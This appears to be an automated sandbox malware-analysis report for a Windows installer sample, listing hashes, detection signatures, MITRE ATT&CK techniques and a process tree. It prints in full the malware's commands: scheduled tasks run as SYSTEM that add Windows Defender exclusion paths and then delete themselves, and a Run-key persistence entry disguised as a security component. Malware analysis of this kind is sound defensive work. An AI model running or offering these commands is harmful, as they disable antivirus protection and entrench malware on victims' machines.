27740e76354888ea5c7c52220a142e54d55e79dcd52b23b7e2b518381abfa1d7

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
24/10/2026, 04:34

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install.2.0.08.exe
Size 30.5MB
Sample261024-e7hp5sfx7t
SHA256 27740e76354888ea5c7c52220a142e54d55e79dcd52b23b7e2b518381abfa1d7
MD5 a6de3fcc964c07106e2f9aee73471216
SHA1 8a1d1fe80cffd1f63aa29a1c344f28ccd4c1704f
SHA512 418aa06687bf61db911dd1da831f2546e3c29549a857c43a5173b8b800656e5c6d03eefc287358af077d391be757a650485c509a6cdcf92ae4cd067df4269f88
SSDEEP 196608:8ZKC/p+HINcZBAwLYhuR9lfn+OfIwYooiJiGD5y4IIYCY2:DC/p+HuPOc4L
TLSH
T10E67181BFA809EB7F546963548DB4BA07372E9761752078F70B0B32DBFAE3802E81545
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 18 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\vO2lD6 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\Control Panel\International\Geo\Nation	8eIlvv.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\Control Panel\International\Geo\Nation	8eIlvv.exe

Executes dropped EXE 2 IoCs

pid	Process
1992	8eIlvv.exe
576	8eIlvv.exe

Loads dropped DLL 2 IoCs

pid	Process
1992	8eIlvv.exe
576	8eIlvv.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\vO2lD6\\8eIlvv.exe\""	8eIlvv.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\vO2lD6\\8eIlvv.exe\""	8eIlvv.exe

Indicator Removal: Clear Persistence 1 TTPs 10 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
4760	cmd.exe
2284	cmd.exe
4868	cmd.exe
4492	cmd.exe
2052	cmd.exe
572	cmd.exe
112	cmd.exe
4696	cmd.exe
6056	cmd.exe
1324	cmd.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	8eIlvv.exe
File opened for modification	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	8eIlvv.exe

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\e4xHYr	8eIlvv.exe
File created	C:\Program Files (x86)\e4xHYr\e4xHYr.exe	8eIlvv.exe
File created	C:\Program Files (x86)\e4xHYr\XPSPLOG.dll	8eIlvv.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 9 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
460	cmd.exe
5128	cmd.exe
5440	cmd.exe
5652	cmd.exe
5352	cmd.exe
3504	cmd.exe
4016	cmd.exe
4628	cmd.exe
4504	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	install.2.0.08.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	install.2.0.08.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	8eIlvv.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	8eIlvv.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1744	schtasks.exe
3976	schtasks.exe
4580	schtasks.exe
5624	schtasks.exe
3752	schtasks.exe
3608	schtasks.exe
2188	schtasks.exe
740	schtasks.exe
4328	schtasks.exe
3364	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3996	install.2.0.08.exe
3996	install.2.0.08.exe
3996	install.2.0.08.exe
3996	install.2.0.08.exe
3996	install.2.0.08.exe
3996	install.2.0.08.exe
3996	install.2.0.08.exe
3996	install.2.0.08.exe
3996	install.2.0.08.exe
3996	install.2.0.08.exe
3996	install.2.0.08.exe
3996	install.2.0.08.exe
3996	install.2.0.08.exe
3996	install.2.0.08.exe
3996	install.2.0.08.exe
3996	install.2.0.08.exe
3996	install.2.0.08.exe
3996	install.2.0.08.exe
3996	install.2.0.08.exe
3996	install.2.0.08.exe
3996	install.2.0.08.exe
3996	install.2.0.08.exe
3996	install.2.0.08.exe
3996	install.2.0.08.exe
3996	install.2.0.08.exe
3996	install.2.0.08.exe
3996	install.2.0.08.exe
3996	install.2.0.08.exe
3996	install.2.0.08.exe
3996	install.2.0.08.exe
3996	install.2.0.08.exe
3996	install.2.0.08.exe
1992	8eIlvv.exe
1992	8eIlvv.exe
1992	8eIlvv.exe
1992	8eIlvv.exe
1992	8eIlvv.exe
1992	8eIlvv.exe
1992	8eIlvv.exe
1992	8eIlvv.exe
1992	8eIlvv.exe
1992	8eIlvv.exe
1992	8eIlvv.exe
1992	8eIlvv.exe
1992	8eIlvv.exe
1992	8eIlvv.exe
1992	8eIlvv.exe
1992	8eIlvv.exe
1992	8eIlvv.exe
1992	8eIlvv.exe
1992	8eIlvv.exe
1992	8eIlvv.exe
1992	8eIlvv.exe
1992	8eIlvv.exe
1992	8eIlvv.exe
1992	8eIlvv.exe
1992	8eIlvv.exe
1992	8eIlvv.exe
1992	8eIlvv.exe
1992	8eIlvv.exe
1992	8eIlvv.exe
1992	8eIlvv.exe
1992	8eIlvv.exe
1992	8eIlvv.exe

Suspicious behavior: LoadsDriver 8 IoCs

pid	Process
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found

Suspicious use of WriteProcessMemory 49 IoCs

description	pid	Process	procid_target
PID 1992 wrote to memory of 2284	1992	8eIlvv.exe	100
PID 1992 wrote to memory of 2052	1992	8eIlvv.exe	104
PID 2284 wrote to memory of 1744	2284	cmd.exe	106
PID 2052 wrote to memory of 3976	2052	cmd.exe	108
PID 2284 wrote to memory of 4720	2284	cmd.exe	109
PID 2052 wrote to memory of 3560	2052	cmd.exe	110
PID 2052 wrote to memory of 5312	2052	cmd.exe	112
PID 1992 wrote to memory of 572	1992	8eIlvv.exe	114
PID 2284 wrote to memory of 4548	2284	cmd.exe	115
PID 572 wrote to memory of 4580	572	cmd.exe	118
PID 572 wrote to memory of 4068	572	cmd.exe	120
PID 1992 wrote to memory of 112	1992	8eIlvv.exe	124
PID 572 wrote to memory of 204	572	cmd.exe	126
PID 460 wrote to memory of 4324	460	cmd.exe	123
PID 112 wrote to memory of 5624	112	cmd.exe	127
PID 112 wrote to memory of 2768	112	cmd.exe	128
PID 112 wrote to memory of 4032	112	cmd.exe	131
PID 5128 wrote to memory of 5152	5128	cmd.exe	132
PID 5352 wrote to memory of 3156	5352	cmd.exe	133
PID 1992 wrote to memory of 4696	1992	8eIlvv.exe	134
PID 4696 wrote to memory of 2188	4696	cmd.exe	136
PID 4696 wrote to memory of 3464	4696	cmd.exe	137
PID 4696 wrote to memory of 2008	4696	cmd.exe	139
PID 5440 wrote to memory of 2156	5440	cmd.exe	141
PID 576 wrote to memory of 4868	576	8eIlvv.exe	142
PID 4868 wrote to memory of 740	4868	cmd.exe	144
PID 4868 wrote to memory of 2240	4868	cmd.exe	145
PID 5652 wrote to memory of 5748	5652	cmd.exe	148
PID 576 wrote to memory of 6056	576	8eIlvv.exe	149
PID 4868 wrote to memory of 5980	4868	cmd.exe	150
PID 6056 wrote to memory of 3752	6056	cmd.exe	152
PID 6056 wrote to memory of 2400	6056	cmd.exe	153
PID 6056 wrote to memory of 3496	6056	cmd.exe	156
PID 3504 wrote to memory of 5324	3504	cmd.exe	157
PID 576 wrote to memory of 1324	576	8eIlvv.exe	158
PID 1324 wrote to memory of 3608	1324	cmd.exe	160
PID 1324 wrote to memory of 2564	1324	cmd.exe	161
PID 4016 wrote to memory of 4532	4016	cmd.exe	164
PID 1324 wrote to memory of 4488	1324	cmd.exe	165
PID 576 wrote to memory of 4492	576	8eIlvv.exe	166
PID 4492 wrote to memory of 4328	4492	cmd.exe	168
PID 4492 wrote to memory of 5460	4492	cmd.exe	169
PID 4492 wrote to memory of 1004	4492	cmd.exe	171
PID 4628 wrote to memory of 3892	4628	cmd.exe	173
PID 576 wrote to memory of 4760	576	8eIlvv.exe	174
PID 4760 wrote to memory of 3364	4760	cmd.exe	176
PID 4760 wrote to memory of 3836	4760	cmd.exe	177
PID 4504 wrote to memory of 1044	4504	cmd.exe	180
PID 4760 wrote to memory of 4560	4760	cmd.exe	181

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install.2.0.08.exe
"C:\Users\Admin\AppData\Local\Temp\install.2.0.08.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:3996

C:\Users\Public\vO2lD6\8eIlvv.exe
C:\Users\Public\vO2lD6\8eIlvv.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\vO2lD6\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2284
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\vO2lD6\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1744
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4720
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4548
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2052
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3976
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3560
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5312
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:572
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4580
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4068
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:204
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:112
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5624
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2768
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4696
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2188
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3464
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2008

C:\Users\Public\vO2lD6\8eIlvv.exe
"C:\Users\Public\vO2lD6\8eIlvv.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:576
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\vO2lD6\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4868
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\vO2lD6\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:740
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2240
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:6056
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3752
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2400
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3496
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1324
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3608
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2564
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4488
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4492
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4328
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5460
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1004
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4760
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3364
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3836
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4560

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:460
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4324

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:4528

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5128
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5152

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5352
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3156

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5440
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2156

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\vO2lD6" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5652
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\vO2lD6" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5748

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3504
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5324

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4016
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4532

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4628
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3892

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4504
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1044

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

